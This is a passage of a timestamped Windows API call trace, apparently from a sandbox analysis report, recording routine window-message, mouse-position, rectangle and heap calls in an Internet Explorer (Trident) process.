lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0154.210] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.210] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0154.210] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0154.210] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0154.210] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0154.210] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.210] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0154.210] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0154.210] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0154.210] GetCursor () returned 0x10003 [0154.210] GetCurrentThreadId () returned 0xcd8 [0154.211] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0154.211] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0154.211] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.211] GetMessageTime () returned 282346 [0154.211] GetMessagePos () returned 0x1c80339 [0154.211] GetCapture () returned 0x0 [0154.211] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0154.211] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.211] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0154.211] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0154.211] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.211] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0154.211] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0154.211] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0154.212] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0154.212] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0154.212] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.212] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0154.212] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0154.212] GetCurrentThreadId () returned 0xcd8 [0154.212] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0154.212] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0154.213] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0154.213] NtdllDefWindowProc_W () returned 0x0 [0154.213] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0154.213] GetCurrentThreadId () returned 0xcd8 [0154.213] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0154.404] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0154.404] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0154.404] GetCapture () returned 0x0 [0154.404] WindowFromPoint (Point=0x339) returned 0x60018 [0154.404] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.404] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0154.404] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0154.404] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0154.404] GetCurrentThreadId () returned 0xcd8 [0154.404] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0154.716] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0154.716] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0154.716] GetCapture () returned 0x0 [0154.716] WindowFromPoint (Point=0x339) returned 0x60018 [0154.716] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.716] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0154.716] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0154.716] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0154.716] GetCurrentThreadId () returned 0xcd8 [0154.716] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0156.354] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0156.354] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0156.354] GetCapture () returned 0x0 [0156.354] WindowFromPoint (Point=0x4fb) returned 0x300f2 [0156.354] IsChild (hWndParent=0x60018, hWnd=0x300f2) returned 0 [0156.354] GetMessageTime () returned 283173 [0156.354] GetMessagePos () returned 0x1c504fb [0156.354] KillTimer (hWnd=0x60132, uIDEvent=0x2002) returned 1 [0156.354] GetCapture () returned 0x0 [0156.355] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0156.355] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0156.355] GetCurrentThreadId () returned 0xcd8 [0156.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0156.355] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0156.355] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0156.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0156.356] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0156.356] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0156.356] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0156.356] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0156.356] NtdllDefWindowProc_W () returned 0x0 [0156.356] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0156.356] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0166.366] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0166.366] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0166.366] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0166.366] PtInRect (lprc=0x30f570, pt=0x5c) returned 1 [0166.366] GetCurrentThreadId () returned 0xcd8 [0166.366] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0166.366] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0166.367] GetMessageTime () returned 283173 [0166.367] GetMessagePos () returned 0x1c504fb [0166.367] GetCapture () returned 0x0 [0166.367] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0166.367] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.367] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0166.367] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0166.367] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0166.367] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.367] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0166.368] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0166.368] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0166.368] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0166.368] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0166.368] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0166.368] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0166.368] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0166.368] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.368] SetTimer (hWnd=0x60132, nIDEvent=0x2003, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2003 [0166.368] PtInRect (lprc=0x30f348, pt=0x5c) returned 1 [0166.368] PtInRect (lprc=0x30f1ec, pt=0x235a) returned 1 [0166.368] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0166.368] GetCursor () returned 0x10003 [0166.369] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0166.369] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0166.369] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0166.369] GetMessageTime () returned 292564 [0166.369] GetMessagePos () returned 0x2640113 [0166.369] GetCapture () returned 0x0 [0166.369] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0166.369] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.369] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0166.369] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0166.369] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.369] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0166.369] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0166.369] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0166.369] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0166.370] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0166.370] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0166.370] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0166.370] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0166.370] GetCurrentThreadId () returned 0xcd8 [0166.370] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0166.370] PtInRect (lprc=0x30f3d0, pt=0x5c) returned 1 [0166.371] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x197005c, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0166.371] NtdllDefWindowProc_W () returned 0x0 [0166.371] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0166.371] GetMessageTime () returned 292564 [0166.371] GetMessagePos () returned 0x2640113 [0166.371] GetCapture () returned 0x0 [0166.371] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0166.371] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0166.372] GetCurrentThreadId () returned 0xcd8 [0166.372] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0166.372] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0166.372] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0166.372] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0166.372] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0166.372] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0166.372] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804860 | out: hHeap=0x7f0000) returned 1 [0166.373] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0x197005c, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0166.373] NtdllDefWindowProc_W () returned 0x0 [0166.373] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0166.373] GetCurrentThreadId () returned 0xcd8 [0166.373] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0166.666] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0166.666] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0166.666] GetCapture () returned 0x0 [0166.666] WindowFromPoint (Point=0x113) returned 0x60018 [0166.666] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0166.666] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0166.666] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0166.666] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0166.666] GetCurrentThreadId () returned 0xcd8 [0166.666] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0166.977] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0166.977] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0166.977] GetCapture () returned 0x0 [0166.977] WindowFromPoint (Point=0x113) returned 0x60018 [0166.977] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0166.978] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0166.978] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0166.978] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0166.978] GetCurrentThreadId () returned 0xcd8 [0166.978] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0167.289] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0167.289] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0167.289] GetCapture () returned 0x0 [0167.289] WindowFromPoint (Point=0x113) returned 0x60018 [0167.289] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0167.289] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0167.290] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0167.290] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0167.290] GetCurrentThreadId () returned 0xcd8 [0167.290] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0167.601] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0167.601] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0167.601] GetCapture () returned 0x0 [0167.601] WindowFromPoint (Point=0x113) returned 0x60018 [0167.601] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0167.601] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0167.602] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0167.602] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0167.602] GetCurrentThreadId () returned 0xcd8 [0167.602] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0167.913] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0167.913] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0167.913] GetCapture () returned 0x0 [0167.913] WindowFromPoint (Point=0x113) returned 0x60018 [0167.914] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0167.914] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0167.914] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0167.914] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0167.914] GetCurrentThreadId () returned 0xcd8 [0167.914] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0168.226] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0168.226] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0168.226] GetCapture () returned 0x0 [0168.226] WindowFromPoint (Point=0x113) returned 0x60018 [0168.226] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0168.226] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0168.226] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0168.226] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0168.226] GetCurrentThreadId () returned 0xcd8 [0168.226] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0168.537] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0168.537] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0168.538] GetCapture () returned 0x0 [0168.538] WindowFromPoint (Point=0x113) returned 0x60018 [0168.538] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0168.538] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0168.538] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0168.538] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0168.538] GetCurrentThreadId () returned 0xcd8 [0168.538] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0168.849] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0168.849] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0168.849] GetCapture () returned 0x0 [0168.849] WindowFromPoint (Point=0x113) returned 0x60018 [0168.850] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0168.850] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0168.850] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0168.850] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0168.850] GetCurrentThreadId () returned 0xcd8 [0168.850] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0169.161] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0169.161] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0169.161] GetCapture () returned 0x0 [0169.161] WindowFromPoint (Point=0x113) returned 0x60018 [0169.162] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0169.162] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0169.162] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0169.162] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0169.162] GetCurrentThreadId () returned 0xcd8 [0169.162] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0169.474] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0169.474] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0169.474] GetCapture () returned 0x0 [0169.474] WindowFromPoint (Point=0x113) returned 0x60018 [0169.474] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0169.474] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0169.474] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0169.474] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0169.474] GetCurrentThreadId () returned 0xcd8 [0169.474] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0169.797] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0169.797] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0169.797] GetCapture () returned 0x0 [0169.797] WindowFromPoint (Point=0x113) returned 0x60018 [0169.797] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0169.797] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0169.797] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0169.797] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0169.797] GetCurrentThreadId () returned 0xcd8 [0169.797] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0170.097] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0170.097] DispatchMessageW 